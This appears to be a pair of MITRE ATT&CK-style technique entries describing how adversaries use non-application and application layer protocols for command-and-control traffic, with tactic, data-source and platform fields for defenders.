Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre